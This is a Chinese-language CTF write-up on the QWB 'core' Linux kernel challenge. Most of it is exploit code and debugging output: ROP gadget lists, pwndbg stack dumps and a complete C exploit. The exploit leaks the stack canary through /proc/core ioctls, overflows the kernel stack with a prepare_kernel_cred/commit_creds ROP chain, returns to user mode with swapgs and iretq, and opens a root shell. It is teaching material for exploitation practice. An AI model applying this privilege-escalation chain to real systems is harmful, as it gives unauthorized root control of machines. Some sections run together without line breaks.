0xffffffff8100d052: mov esi, ebx; mov rdi, rax; call rdx; 0xffffffff810a0f49 : pop rdx ; ret0xffffffff81021e53 : pop rcx ; ret0xffffffff8100036f : nop ; xor eax, eax ; ret这里值得注意的一点是,这里是原地进行的call,而不是通过ret的方式,所以这里会有一个8字节的错差
rop[8]=canary4;
rop[i++]=0xffffffff812f2488;//pop rdi,pop rdi
rop[i++]=0;//
rop[i++]=0;//pop rdi
rop[i++]=prepare_kernel_cred;
rop[i++]=0xffffffff810a0f49;//pop rdx ; ret
rop[i++]=0xffffffff81021e53;//pop rcx ; ret
rop[i++]=0xffffffff8100d054;//mov rdi, rax; call rdx; === pop rcx ; ret
rop[i++]=commit_creds;
rop[i++]=swapgs;
rop[i++]=0;
rop[i++]=iretq;
rop[i++]=get_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
rop[i++]=0;
info(RED,"prepare to write something");
write(fd,rop,0x30*8);
info(RED,"prepare to copy something");
core_copy(fd,0xf000000000000000+0x30*8);//0xf000000000000000+0x30*8
info(YELLOW,"something happened");这里理论上就能打通的,但是我们的这个好像是出现了问题,gadget的偏移不对
这里是因为我们找的片段不在text段上的原因
还有就是这里地址变化的原因是因为有一个push rbp覆写了之前的指令,所以我们这一波花里胡哨的调整有点无用
rop[8]=canary4;
rop[i++]=0xffffffff8100036f;// nop ; xor eax, eax ; ret
rop[i++]=0xffffffff81000b2f;//pop rdi
rop[i++]=0;//
rop[i++]=0xffffffff81000b2f;//pop rdi
rop[i++]=0;//pop rdi
rop[i++]=0xffffffff81000000+0x9cce0;//prepare_kernel_cred
rop[i++]=0xffffffff810a0f49;//pop rdx ; ret
rop[i++]=0xffffffff81021e53;//pop rcx ; ret
rop[i++]=0xffffffff8100d054;//mov rdi, rax; call rdx; === pop rcx ; ret
rop[i++]=commit_creds;
rop[i++]=swapgs;
rop[i++]=0;
rop[i++]=iretq;
rop[i++]=get_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
rop[i++]=0;这里我们的prepare_kernel_cred这个函数有问题,我们需要重新调整一下
我们这里调整看到我们的指令仍旧是被改了
pwndbg> stack 30
00:0000│ rsp 0xffffc90000113e90 —▸ 0xffffffff8109cce0 ◂— push rbp
01:0008│ 0xffffc90000113e98 —▸ 0xffffffff810a0f49 ◂— pop rdx
02:0010│ 0xffffc90000113ea0 —▸ 0xffffffff81021e53 ◂— pop rcx
03:0018│ 0xffffc90000113ea8 —▸ 0xffffffff8100d052 ◂— mov word ptr [rdx + 8], ax
04:0020│ 0xffffc90000113eb0 —▸ 0xffffffff8109c8e0 ◂— push r12
05:0028│ 0xffffc90000113eb8 —▸ 0xffffffff818012da ◂— js 0xffffffff818014c5
06:0030│ 0xffffc90000113ec0 ◂— 0
07:0038│ 0xffffc90000113ec8 —▸ 0xffffffff81040a52 ◂— pop rbx
08:0040│ 0xffffc90000113ed0 —▸ 0x401406 ◂— endbr64
09:0048│ 0xffffc90000113ed8 ◂— 0x33 /* '3' */
0a:0050│ 0xffffc90000113ee0 ◂— 0x246
0b:0058│ 0xffffc90000113ee8 —▸ 0x7ffe9fb61a30 —▸ 0x7ffe9fb62430 ◂— 1
0c:0060│ 0xffffc90000113ef0 ◂— 0x2b /* '+' */
0d:0068│ 0xffffc90000113ef8 ◂— 0
... ↓ 16 skipped
pwndbg> x/i 0xffffffff818012da
0xffffffff818012da: js 0xffffffff818014c5
我们看到vmmap的地址如下,我们应该是可以加载的
0xffffffff81000000 0xffffffff81c0b000 r-xp c0b000 0 [pt_ffffffff81000]
0xffffffff81c0b000 0xffffffff81e00000 rw-p 1f5000 0 [pt_ffffffff81c0b]
0xffffffff81e00000 0xffffffff82200000 r--p 400000 0 [pt_ffffffff81e00]
0xffffffff82200000 0xffffffff82800000 rw-p 600000 0 [pt_ffffffff82200]
0xffffffffc0000000 0xffffffffc0001000 r-xp 1000 0 [pt_ffffffffc0000]
0xffffffffc0001000 0xffffffffc0002000 r--p 1000 0 [pt_ffffffffc0001]
0xffffffffc0002000 0xffffffffc0004000 rw-p 2000 0 [pt_ffffffffc0002]
0xffffffffff5fb000 0xffffffffff5fd000 rw-p 2000 0 [pt_ffffffffff5fb]
0xffffffffff600000 0xffffffffff601000 r--p 1000 0 [pt_ffffffffff600]我说为什么总是不变,原来是编译失败了
最终exp如下
这个我们最后执行gadget出问题了,我觉得是系统级bug,我这个附件太久远了
这个竟然可以查找
swaps||mov rdi,rax这两个片段的地址还是不对,有点难受
终于调好了,果然是vmlinux的问题
root@ziran [/home/ziran/Desktop/core3/give_to_player] ➜ ROPgadget --binary vmlinux --only "iretq" [21:23:50]
Gadgets information
============================================================
0xffffffff81050ac2 : iretq#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/xattr.h>
#include <sched.h>
#include <sys/prctl.h>
#include <ctype.h>
#define u8 unsigned char
#define s8 char
#define u16 unsigned short
#define s16 short
#define u32 unsigned int
#define s32 int
#define u64 unsigned long
#define s64 long
#define PAGE_SIZE 4096
#define info1(color, msg) info_impl(color, msg, 0, 0)
#define info2(color, msg, val) info_impl(color, msg, 1, (size_t)(val))
//但 C 语言 不支持函数重载(不能有两个同名函数参数不同),所以要用 宏技巧 模拟。
#define info(...) _GET_INFO_MACRO(__VA_ARGS__, info2, info1)(__VA_ARGS__)
//这在 C 语言中是一种常见的“模拟函数重载”的技巧。虽然看起来有点绕,但它是标准且有效的写法。
#define _GET_INFO_MACRO(_1,_2,_3,NAME,...) NAME
//怎么做到的?靠 _GET_INFO_MACRO 的参数匹配技巧。
typedef enum { BLUE, RED, YELLOW, PINK, WHITE,GREEN,RESET } color_t;
static const char* color_code(color_t c) {
switch(c) {
case BLUE: return "\033[34m";
case RED: return "\033[31m";
case YELLOW: return "\033[33m";
case PINK: return "\033[35m";
case WHITE: return "\033[37m";
case GREEN: return "\x1b[32m";
case RESET: return "\x1b[0m";
default: return "\033[0m";
}
}
static inline void info_impl(color_t c, const char *msg, int has_val, size_t val) {
if (has_val) {
printf("\033[1m%s[+] %s ===> \033[0m0x%lx\n", color_code(c), msg, val);
} else {
printf("\033[1m%s[*] %s\033[0m\n", color_code(c), msg);
}
}
#define KERNCALL __attribute__((regparm(3)))
void * (*prepare_kernel_cred)(void*) KERNCALL;
void * (*commit_creds)(void*) KERNCALL;
//如果 has_val == 1:打印带 ===> 0x... 的格式(用于地址、数值)
void errExit(char *msg){printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);exit(EXIT_FAILURE);}
//这个退出的时候是红色字体也是写好了
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
//绑定CPU
void leak_start(){
info(PINK,"leak start");
FILE* fd = fopen("/tmp/kallsyms","r");
if(!fd){
errExit("fail");
}
info(PINK,"open success");
char buf[64] = {0};
int found_commit = 0,found_prepare = 0;
while (fgets(buf,sizeof(buf),fd)){
if(!found_commit && strstr(buf,"commit_creds")){
char addr[17] = {0};
strncpy(addr,buf,16);
sscanf(addr,"%llx",&commit_creds);
printf("[+]commit_creds addr = %p\n",(void *)commit_creds);
found_commit = 1;
}
if(!found_prepare && strstr(buf,"prepare_kernel_cred")){
char addr[17] = {0};
strncpy(addr,buf,16);
sscanf(addr,"%llx",&prepare_kernel_cred);
printf("[+]prepare_kernel_cred addr = %p\n",(void *)prepare_kernel_cred);
found_prepare = 1;
}
if(found_commit && found_prepare){
break;
}
info(YELLOW,"symbol read over");
}
fclose(fd);
}
size_t user_cs,user_ss,user_rflags,user_sp;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] saved");
}//保存寄存器指令
void core_read(int fd,char *buf){
ioctl(fd,0x6677889B,buf);
}
void core_off(int fd,int off){
ioctl(fd,0x6677889C,off);
}
void core_copy(int fd,u64 len){
ioctl(fd,0x6677889A,len);
}
void get_shell(){
system("/bin/sh");
}
int main(){
leak_start();
save();
bind_cpu(0);
info(YELLOW,"spray cred done");
int fd = open("/proc/core",O_RDWR);
if(fd<=0){
errExit("open err");
}
core_off(fd,0x20);
info(PINK,"off is setted already");
long long unsigned buf[0x100];
memset(buf,0,0x100);
unsigned long long canary,canary1,canary2,canary3,canary4,canary5;
core_read(fd,buf);
info(RED,buf);
canary = buf[0];
printf("[*]canary :%p",canary);
canary1 = buf[1];
printf("[*]canary :%p",canary1);
canary2 = buf[2];
printf("[*]canary :%p",canary2);
canary3 = buf[3];
printf("[*]canary :%p",canary3);
canary4 = buf[4];
printf("[*]canary :%p",canary4);// this is target canary
canary5 = buf[5];
printf("[*]canary :%p",canary5);
info(PINK,"leak success");
core_off(fd,0xf000000000000000+0x300);
info(GREEN,"off set success");
unsigned long rop[0x30];
int i = 10;
u64 swapgs = 0xffffffff81a012da;
u64 commit_creds = 0xffffffff81000000+0x9c8e0;
u64 prepare_kernel_cred = 0xffffffff81000000+0x9cce0;
u64 iretq = 0xffffffff81050ac2;
rop[8]=canary4;
rop[i++]=0xffffffff8100036f;// nop ; xor eax, eax ; ret
rop[i++]=0xffffffff81000b2f;//pop rdi
rop[i++]=0;//
rop[i++]=0xffffffff81000b2f;//pop rdi
rop[i++]=0;//pop rdi
rop[i++]=0xffffffff81000000+0x9cce0;//prepare_kernel_cred
rop[i++]=0xffffffff810a0f49;//pop rdx ; ret
rop[i++]=0xffffffff81021e53;//pop rcx ; ret
rop[i++]=0xffffffff812d6c84;//mov rdi, rax; call rdx; === pop rcx ; ret
rop[i++]=commit_creds;
rop[i++]=swapgs;
rop[i++]=0;
rop[i++]=iretq;
rop[i++]=get_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
rop[i++]=0;
info(RED,"prepare to write something");
write(fd,rop,0x30*8);
info(RED,"prepare to copy something");
core_copy(fd,0xf000000000000000+0x30*8);//0xf000000000000000+0x30*8
info(YELLOW,"something happened");
}本文以QWB CTF题目为例,详解内核栈溢出漏洞利用,涵盖canary泄露、ROP链构造及权限提升技术。
由 AI 根据全文自动生成,仅供参考,以原文为准